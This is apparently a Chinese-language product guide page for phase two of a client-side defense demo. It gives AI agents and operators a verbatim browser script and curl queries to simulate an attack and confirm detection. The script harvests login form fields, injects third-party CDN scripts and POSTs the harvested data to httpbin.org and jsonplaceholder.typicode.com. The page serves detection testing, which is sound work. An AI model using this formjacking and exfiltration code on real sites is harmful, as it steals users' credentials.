跳转到内容

第二阶段 — 攻击

第二阶段针对受保护的应用程序生成模拟攻击流量,并确认 CSD 已检测到该流量。在继续之前,第一阶段必须已完成——第 7 步的所有检查均须通过(PASS)。

基础设施验证完成后(第一阶段第 7 步所有检查均通过),运行攻击模拟脚本以生成 CSD 检测记录。相关脚本定义于触发检测指南和攻击脚本库中。

具备浏览器自动化工具的 AI 助手可通过编程方式运行攻击模拟:

  1. 使用 initScript 导航 — 首先导航至 about:blank 以确保干净的文档上下文(避免前次导航遗留的过时 initScript),然后使用 navigate_page 导航至 http://$F5XC_DOMAINNAME/#/login,并在 initScript 中于 zone.js 修补之前保存原生的 setIntervalclearIntervalfetchconsole.log,轮询登录表单字段,通过原生 HTMLInputElement.prototype.value setter 填写凭据,并立即内联执行组合检测脚本。请使用下方逐字记录的 initScript。
  2. 关闭欢迎横幅 — 按 Escape 键通过 press_key 关闭欢迎横幅。后续访问时横幅可能不再出现(Cookie 已持久化)。Cookie 同意对话框也会通过 Escape 键自动关闭。
  3. 等待完成 — 等待 10 秒,以便所有 CDN 脚本加载/错误回调及 fetch Promise 解析完成。
  4. 采集证据 — 使用 list_console_messages 检查是否存在 [CSD Demo] Simulation complete 及 CDN 加载结果;使用 list_network_requests 筛选 scriptfetch 类型,验证 HTTP 状态码(成功为 200/201,挂起请求为 pending)。

第二阶段 initScript(逐字记录——请原文使用):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

没有浏览器自动化工具的操作人员请手动执行以下步骤:

  1. 导航至受保护应用程序的登录页面:http://xF5XC_DOMAINNAMEx/#/login
  2. 输入虚拟凭据 — 在 Email 字段中输入 test@example.com,在 Password 字段中输入 P@ssword123(请勿提交表单)
  3. 打开开发者工具 — 按 F12 并切换到 Console(控制台)标签页
  4. 运行组合检测脚本 — 将触发检测 — 运行组合模拟脚本中的脚本粘贴到控制台并按 Enter 键
  5. 验证控制台输出 — 确认 [CSD Demo] 分阶段输出显示:字段采集、从 4 个 CDN 域注入脚本,以及向 2 个端点进行数据渗出
信号行为检测
表单字段采集读取电子邮件和密码输入值读取敏感表单字段的脚本——标记为高风险
脚本注入cdn.jsdelivr.netesm.shunpkg.comga.jspm.io 注入 4 个 <script> 标签最多检测到 4 个新第三方脚本域(CDN 可用性可能有所不同)
数据渗出通过 fetch 将采集的数据发送至 www.httpbin.orgjsonplaceholder.typicode.com对外部域的网络调用

AI 助手应报告以下内容。对于 AI 自动化执行,证据通过 list_console_messages 以编程方式采集(initScript 的轮询函数将结果记录到控制台)。对于手动执行,操作人员读取浏览器控制台输出。

检查项预期结果状态
登录页面已加载http://$F5XC_DOMAINNAME/#/login 返回 200 OK通过 / 失败
控制台脚本已执行控制台输出中包含 [CSD Demo] Simulation complete通过 / 失败
字段已采集控制台输出中字段数量 > 0通过
脚本已注入控制台输出中有 1–4 个 CDN 域(部分可能因资源错误失败)出现任意 CDN 域即通过
渗出通道控制台输出中有 2 次 fetch POST 尝试通过

查询 CSD API 端点以确认检测结果已出现。使用轮询循环:每 60 秒查询一次 /detected_domains;一旦 DET-3 通过即可继续。如果 DET-3 在 10 分钟后仍未通过,请检查 CSD 配置。如果 DET-3 在 30 分钟后仍未通过,请停止并向操作人员报告。这些端点的文档见API 参考,使用与前述步骤相同的认证方式和命名空间。

查询过去 24 小时内检测到的脚本:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
字段预期结果状态
total> 0(检测到脚本)> 0 时通过;若为 0 但 /detected_domains 显示渗出域则为待定
脚本名称script_name 中包含 CDN 域(cdn.jsdelivr.netesm.shunpkg.comga.jspm.io出现已注入的 CDN 域即通过
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
字段预期结果状态
total_domains> 0> 0 时通过
域列表包含 CDN 和渗出域出现预期域即通过
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
字段预期结果状态
total> 0> 0 时通过;若 DET-3 通过则为待定
name包含 emailpassword出现敏感字段即通过
sensitivity电子邮件/密码字段为 SensitiveML 分类正确即通过

完成所有检测查询后,呈现最终检测状态:

测试 ID检查项状态
DET-1已检测到脚本(/scripts 端点)> 0 时通过;若为空但 DET-3 通过则为待定
DET-2已检测到 CDN 域通过 / 失败
DET-3已检测到渗出域(/detected_domains主要指标www.httpbin.orgjsonplaceholder.typicode.com 出现即通过
DET-4已检测到表单字段(/formFields 端点)> 0 时通过;若为空但 DET-3 通过则为待定

第二阶段完成。 请继续进入第三阶段 — 缓解,以应用缓解规则并验证域是否被阻断。